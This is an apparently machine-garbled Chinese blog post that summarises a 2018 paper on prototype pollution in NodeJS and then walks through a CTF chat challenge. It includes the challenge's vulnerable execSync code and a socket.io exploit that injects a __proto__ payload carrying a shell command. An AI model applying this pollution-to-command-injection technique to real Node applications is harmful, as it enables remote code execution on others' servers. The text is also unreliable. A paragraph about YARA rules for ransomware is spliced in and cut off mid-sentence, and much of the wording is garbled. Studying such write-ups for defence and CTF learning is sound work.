欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全防护正文

小白带你读论文 & Prototype pollution attack in NodeJS

b9e08c31ae1faa592019-12-1678Web安全

媒介

本篇paper来自于 NSEC 2018 :Prototype pollution attack in NodeJS application,写summary的缘由因为本篇文章引见的进击点和实际问题密切相关,同时在CTF各大竞赛中经常涌现。

背景学问

为了引见什么是原型链污染破绽,我们得先有一些前置学问,起首视察一段代码:

 
a={};
a.__proto__.test2 = '456';
b={};
console.log(a.test2);
console.log(b.test2);
b.__proto__.test2 = '789';
console.log(a.test2);
console.log(b.test2);

我们定义一个a对象,并对其举行赋值:

a.__proto__.test2 = '456';

我们再定义一个b对象,但此时发明,假如我们输出:

 
console.log(a.test2);
console.log(b.test2);

此时获得的效果是:

 
456
456

那末为何b对象会有test2这个属性的value呢?

小白带你读论文 & Prototype pollution attack in NodeJS  Web安全 第1张

这是因为我们有等价关联:

a.__proto__ == Object.prototype

那末此时,假如我们挪用b.test2,其因为猎取不到,就会往父类中查找,因而找到了Object.prototype.test2。

因而我们挪用b.test2,能够猎取到456这个值。

我们再看一个简朴的例子:

我们组织了类的继续关联:

在运用a.testA的时刻:

1.在testC类里查找testA属性

2.在testC的父类里查找testA属性

3.在testC的"爷"类里查找testA属性

故此能够一般挪用到testA属性。

关于testB、testC属性也是同理。

原型链污染破绽

为了相识原型链污染破绽,我们看以下代码:

假定我们掌握evil.__proto__,那就等同于能够修正testClass类的prototype,那末即可改动SecClass中的url属性值。

那末在后续一切挪用该属性的位置,都邑发生响应的影响。

破绽评价

作者的数据集定于npm的一切库,然则因为代码量庞大,传统的静态剖析并不实用,因而作者运用了动态测试要领,对受影响的库举行考证:

 
* 运用npm装置须要测试的库
* 将库引入文件
* 递归枚举库中一切可挪用的函数
* 关于每个函数
    * 关于每个函数举行原型链污染测试input
    * 磨练是不是发生影响,若发生,则标注破绽点,并消灭影响

代码已开源在github:

https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/find-vuln/find-vuln.js

简朴剖析代码可知,作者起首申清楚明了一个对象,对象中有属性名为:_proto_。

假如经由库中函数处置惩罚,该属性成为原型,那末申明涌现了原型链污染问题

作者枚举了多种pattern:

 
var pattern = [{
fnct : function (totest) {
totest(BAD_JSON);
},
sig: "function (BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, {});
},
sig: "function (BAD_JSON, {})"
},{
fnct : function (totest) {
totest({}, BAD_JSON);
},
sig: "function ({}, BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, BAD_JSON);
},
sig: "function (BAD_JSON, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, BAD_JSON);
},
sig: "function ({}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, {}, BAD_JSON);
},
sig: "function ({}, {}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, "__proto__.test", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__[test]", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__.test", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__[test]", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__", "test", "123");
},
sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"
},{
fnct : function (totest) {
totest("__proto__", "test", "123");
},
sig: "function (BAD_STRING, BAD_STRING, VALUE)"
}]

然后对一个库中一切函数举行测试,再举行检测:

如何设计YARA规则发现代码重用:DoppelPaymer勒索软件和Dridex恶意软件家族 概述 本文主要介绍了如何使用YARA规则来寻找DoppelPaymer、BitPaymer和Dridex加载程序等恶意软件家族。 前言 无论是寻找恶意软件,还是发现用于威胁情报的APT,每当我们讨论到如何主动发现想要寻找的恶意软件时,都会联想到YARA这把“瑞士军刀”。借助YARA规则,往往会使恶意软件研究人员和威胁情报分析的工作更加轻松。 对于恶意软件开发人员来说,其工作过程就像是合法软件的开发人员,他们往往希望能提升工作自动化的程度,并尽可能减少在重复性工作中浪费的时间。这也就意味着,恶意软件开发者会学习其他恶意软件的代码,编写通用代码并在不同的恶意软件中重复使用。这样的方式,不仅能减少恶意软件作者开发所需的时间,也为安全研究人员提供了一个有力的线索。我们可以尝试创建搜索规则来检测这种代码重用的情况,从而降低研
 
function check() {
if ({}.test == "123" || {}.test == 123) {
delete Object.prototype.test;
return true;
}
return false;
}

作者经由测试,获得了许多受原型链污染影响的库:

小白带你读论文 & Prototype pollution attack in NodeJS  Web安全 第2张

个中不乏我们经常在ctf中碰到的lodash……

小白带你读论文 & Prototype pollution attack in NodeJS  Web安全 第3张

然后,作者选取了几个典例举行剖析。

拒绝服务进击

比方代码中的第12行,存在破绽点,其运用了lodash的merge,致使我们能够污染req对象,因为返回效果依赖于这个对象。那末假如进击者input以下exp,每一条要求都将返回500:

小白带你读论文 & Prototype pollution attack in NodeJS  Web安全 第4张

For-loop污染

比方以下代码,我们能够举行原型污染,如许commands鄙人一次遍用时,就会遍历到我们到场的歹意值,举行恣意敕令实行。

小白带你读论文 & Prototype pollution attack in NodeJS  Web安全 第5张

Property injection

因为NodeJS的http模块具有多个同名header,我们能够对cookie举行污染,那末request.headers.cookie将变成我们的污染值,那末每个访问者都邑同享同一个cookie:

小白带你读论文 & Prototype pollution attack in NodeJS  Web安全 第6张

CTF中的运用

看完了作者引见的原型链污染进击,我们来看一下其在CTF中的简朴运用。

题目: https://chat.dctfq18.def.camp

源码:https://dctf.def.camp/dctf-18-quals-81249812/chat.zip

我们下载源码后,起首审计服务端代码:

看到在help.js中有以下高危代码:

 
    getAscii: function(message) {
        var e = require('child_process');
        return e.execSync("cowsay '" + message + "'").toString();
    }

假如我们可控message,那末即可举行rce,比方:

小白带你读论文 & Prototype pollution attack in NodeJS  Web安全 第7张

因而在server.js中寻觅挪用点:

 
    client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)
            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });
    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)
            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

能够发明在join和leave用响应的挪用:

 
    var u = clientManager.getUsername(client);
    var c = clientManager.getCountry(client);
    sendMessageToChannel(channel,"Server", 
        helper.getAscii("User " + u + " living in " + c + " joined channel"))

那末假如可控u和c,那末即可举行敕令拼接,而u关于name,c对应country,关于name参数:

 
validUser: function(inp) {
        var block = ["source","port","font","country",
                     "location","status","lastname"];
        if(typeof inp !== 'object') {
            return false;
        } 
        var keys = Object.keys( inp);
        for(var i = 0; i< keys.length; i++) {
            key = keys[i];
            
            if(block.indexOf(key) !== -1) {
                return false;
            }
        }
        var r =/^[a-z0-9]+$/gi;
        if(inp.name === undefined || !r.test(inp.name)) {
            return false;
        }
        return true;
    }

我们发明我们被举行了大批过滤,很难直接举行恣意敕令实行,因而我们入手下手思索怎样转变country的值,那末便轻易想到运用原型链污染,在父类对象中到场country属性的值,举行污染。

那末我们能够从register举行输入:

 
 client.on('register', function(inUser) {
        try {
            newUser = helper.clone(JSON.parse(inUser))
            if(!helper.validUser(newUser)) {
                sendMessageToClient(client,"Server", 
                    'Invalid settings.')
                return client.disconnect();
            } 
            var keys = Object.keys(defaultSettings);
            for (var i = 0; i < keys.length; ++i) {
                if(newUser[keys[i]] === undefined) {
                    newUser[keys[i]] = defaultSettings[keys[i]]
                }
            } 
            if (!clientManager.isUserAvailable(newUser.name)) {
                sendMessageToClient(client,"Server", 
                    newUser.name + ' is not available')
                return client.disconnect(); 
            }
         
            clientManager.registerClient(client, newUser)
            return sendMessageToClient(client,"Server", 
                newUser.name + ' registered')
        } catch(e) { console.log(e); client.disconnect() }
    });

我们发明存在原型链污染破绽点:

newUser = helper.clone(JSON.parse(inUser))

我们能够应用这里的clone,举行污染,杀青目标。

组织以下exp:

 
const io = require('socket.io-client')
const socket = io.connect('http://0.0.0.0:10000')
socket.on('error', function (err) {
    console.log('received socket error:')
    console.log(err)
})
socket.on('message', function(msg) {
    console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});
socket.emit('register', `{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}`);
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', 'xxx');

跋文

Prototype pollution attack照样一个比较风趣的进击点,下次能够连系一些题目和CVE再做一些深切的相识。

网友评论